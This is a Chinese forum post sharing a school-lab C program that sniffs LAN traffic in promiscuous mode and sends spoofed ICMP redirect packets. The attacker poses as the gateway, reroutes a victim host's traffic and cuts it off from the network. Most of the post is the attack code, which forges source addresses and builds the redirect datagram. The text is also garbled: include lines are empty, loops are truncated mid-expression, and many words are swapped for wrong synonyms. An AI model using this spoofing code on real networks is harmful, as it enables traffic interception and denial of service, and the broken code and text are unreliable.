请选择 进入手机版 | 继续访问电脑版

Socket编程实现网络抓包分析和ICMP重定向

[复制链接]
谢世民 发表于 2020-12-31 18:57:56 | 显示全部楼层 |阅读模式 打印 上一主题 下一主题
学校的一次实验,敲的挺辛苦的,就不多说了,看注释吧。
记得把网卡打开为稠浊模式:sudo ifconfig [device_name] promisc
这样攻击者(192.168.1.128)虚拟机就能嗅探到另一台受害者(192.168.1.129)虚拟机的数据包了
参数格式: -g [重定向ip所在] -i [原来的网关所在]
攻击效果如下:
首先是攻击者视角,抓到的一些包(受害者在ping百度):

接下来是受害者视角:攻击者伪装成网关(192.168.1.2)给受害者发送重定向数据包,之后可以检察受害者主机的路由表缓存。在攻击者没有开启转发功能的话,受害者ping不通百度。此状态最多一连5分钟,因为这是路由表缓存的有效时间。

[code]#include#include#include#include#include#include#include#include#include#include#define BUFFSIZE            2048    //数据缓冲区巨细#define FRAME_HEADER_SIZE   14      //帧头部巨细#define MAC_ADDRESS_SIZE    6       //MAC帧所在巨细#define IP_HEADER_SIZE      20      //IP头部巨细// 对吸收的报文数量进行编号static int count =0;// 基于IP层的常见协议范例罗列enum PROTOCOL{    ICMP = 1,    IGMP = 2,    IP = 4,    TCP = 6,    UDP = 17};// 以太网协议范例罗列enum Ether_Type{    IPv4 = 0x0800,    ARP = 0x0806,    RARP = 0x8035,    IPv6 = 0x86dd};// 常用ICMP范例enum ICMP_Type{    Echo_Reply = 0,    Destination_Unreachable = 3,    Redirect = 5,    Echo_Request = 8,};// ICMP重定向报文头部界说struct icmp_header{    /* data */    uint8_t icmp_type;    uint8_t icmp_code;    uint16_t icmp_checksum;};// ICMP重定向报文IP数据报// 数据报内容:// 1)IP头部:                         (20 bytes)// 2)ICMP头部:                       (4 bytes)// 3)新网关IP:                       (4 bytes)// 4)被重定向IP报文首部及payload前8字节:(28 bytes)struct icmp_redirect_datagram{        struct ip ip_header;        struct icmp_header icmp_header;        struct in_addr gateway_addr;        unsigned char ip_datagram[28];};// @description         将icmp范例转换为字符串// @param   icmp_type   ICMP头部字段icmp_type值// @param   buf         字符数组指针,指向ICMP范例字符串void to_icmp_type(uint8_t icmp_type, char (*buf)[10]){    switch(icmp_type){        case Echo_Reply: strcpy(*buf,"Echo Reply");break;        case Destination_Unreachable: strcpy(*buf,"Unreachable");break;        case Redirect: strcpy(*buf,"Redirect");break;        case Echo_Request: strcpy(*buf,"Echo Request");break;        default: strcpy(*buf,"unknown");    }}// @description         将protocol范例转换为协议范例字符串// @param  ip_protocol  IP头部protocol字段值 // @param  buf          字符数组指针,存储协议范例字符串void to_protocol(uint8_t ip_protocol,char (*buf)[10]){    switch(ip_protocol){        case ICMP: strcpy(*buf,"ICMP");break;        case IGMP: strcpy(*buf,"IGMP");break;        case IP:   strcpy(*buf,"IP");break;        case TCP:  strcpy(*buf,"TCP");break;        case UDP:  strcpy(*buf,"UDP");break;        default:   strcpy(*buf,"unknown");    }}// @description: 将原始数据转换为协议范例字符串// @param   buf: 指针,指向帧头部表现EhterType字段的两个字节// @param   type: 数组指针,指向生存协议范例字符串的数组void to_ether_type(const unsigned short *buf, char (*type)[10]){    unsigned short value = buf[0];    switch(value){        case IPv4:strcpy(*type,"IPv4");break;        case ARP:strcpy(*type,"ARP");break;        case RARP:strcpy(*type,"RARP");break;        case IPv6:strcpy(*type,"IPv6");break;        default:strcpy(*type,"unknown");    }}// @description: 打印帧头部信息// @param buf: 指针,指向吸收数据的缓冲区void print_frame_header(const unsigned char *recv_buf){    char ether_type[10];    printf("TO MAC: ");    for(int i=0; iip_p,&protocol);    printf("    FROM IP: %s",inet_ntoa(ip_header->ip_src));    printf("    TO IP: %s",inet_ntoa(ip_header->ip_dst));    printf("    Protocl: %s",protocol);        if(ip_header->ip_p == ICMP){        print_icmp_type(recv_buf);    }    printf("\n");}// @description         格式化打印帧内容// @param   buf         指针,指向吸收数据的缓冲区// @param   datasize    原始帧数据巨细void print_datagram(const unsigned char *buf, unsigned int data_size){    int i=0,j=0;    for(i=0;i> 16) + (checksum & 0xffff);        checksum += (checksum >> 16);    }    return (unsigned short)~checksum;}// @description: 网络嗅探,并将原始数据生存至buf[]// @param   recv_socket_fd  吸收数据的socket句柄// @param   buf             数组指针,指向吸收数据的缓冲区void sniffer(int recv_socket_fd,unsigned char (*buf)[BUFFSIZE]){    if(recv_socket_fd < 0){        printf("recv_socket error!\n");        exit(1);    }    int data_size = -1;    while(data_size < 0){        data_size = recvfrom(recv_socket_fd,*buf,BUFFSIZE,0,NULL,NULL);        if(data_size < 0){            printf("receive error!\n");            exit(1);        }        count ++;        printf("----------------------------\n");        printf("%d   ",count);        print_frame_header(*buf);        print_ip_header(*buf);        printf("\n");        print_datagram(*buf,data_size);        printf("---------------------------\n");        printf("\n\n");    }}// @description:构造并发送icmp重定向报文// @param   send_socket_fd: 发送数据报文的socket句柄// @param   recv_buf:       原始报文数据// @param   gateway_addr:   原网关所在// @param   gateway_addr:   新网关所在(重定向所在)void send_redirect_icmp(int send_socket_fd, const unsigned char *recv_buf, struct in_addr gateway_addr,                        struct in_addr new_gateway_addr){    if(send_socket_fd < 0){        printf("send_socket error!\n");        exit(1);    }    int one = 1,res;    const int *ptr_one = (const int *)&one;        //设置HDRINCL, 表现自己来构造IP头部,不需要系统加入    res = setsockopt(send_socket_fd, IPPROTO_IP, IP_HDRINCL,ptr_one, sizeof(one));    if(res < 0)    {        printf("set socketopt error--\n");        exit(1);    }    //界说要发送的数据报文    struct icmp_redirect_datagram datagram;    struct in_addr target_addr;    memcpy(&target_addr,(struct in_addr *)(recv_buf + FRAME_HEADER_SIZE + 12),4);        struct sockaddr_in target;    target.sin_addr = target_addr;    target.sin_family = AF_INET;    //填充IP头部    datagram.ip_header.ip_v     = 4;    datagram.ip_header.ip_hl    = 5;    datagram.ip_header.ip_tos   = 0;    datagram.ip_header.ip_len   = htons(56);    datagram.ip_header.ip_off   = 0;    datagram.ip_header.ip_id    = random() & 0x3333;    //随机值    datagram.ip_header.ip_ttl   = 0x40;    datagram.ip_header.ip_p     = ICMP;    datagram.ip_header.ip_sum   = 0;    datagram.ip_header.ip_src   = gateway_addr;    datagram.ip_header.ip_dst   = target_addr;        // 计算IP头部校验和    datagram.ip_header.ip_sum = get_checksum(&datagram,IP_HEADER_SIZE);    //填充ICMP头部    datagram.icmp_header.icmp_type = ICMP_REDIRECT;    datagram.icmp_header.icmp_code = ICMP_REDIRECT_HOST;    datagram.icmp_header.icmp_checksum = 0;    //填充ICMP.gateway    datagram.gateway_addr = new_gateway_addr;    //填充ICMP报文    memcpy(datagram.ip_datagram, recv_buf + FRAME_HEADER_SIZE, IP_HEADER_SIZE + 8);        //计算校验和    datagram.icmp_header.icmp_checksum = get_checksum(&(datagram.icmp_header),36);    //发送报文    int send_size = sendto(send_socket_fd,&datagram,56,0,(const struct sockaddr *)&target,sizeof(target));    if(send_size < 0){        printf("send error\n");        exit(1);    }    //打印发送的报文数据    // printf("sent redirect(%d bytes): \n",send_size);    // for(int i=0; i
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

发布主题

专注素材教程免费分享
全国免费热线电话

18768367769

周一至周日9:00-23:00

反馈建议

27428564@qq.com 在线QQ咨询

扫描二维码关注我们

Powered by Discuz! X3.4© 2001-2013 Comsenz Inc.( 蜀ICP备2021001884号-1 )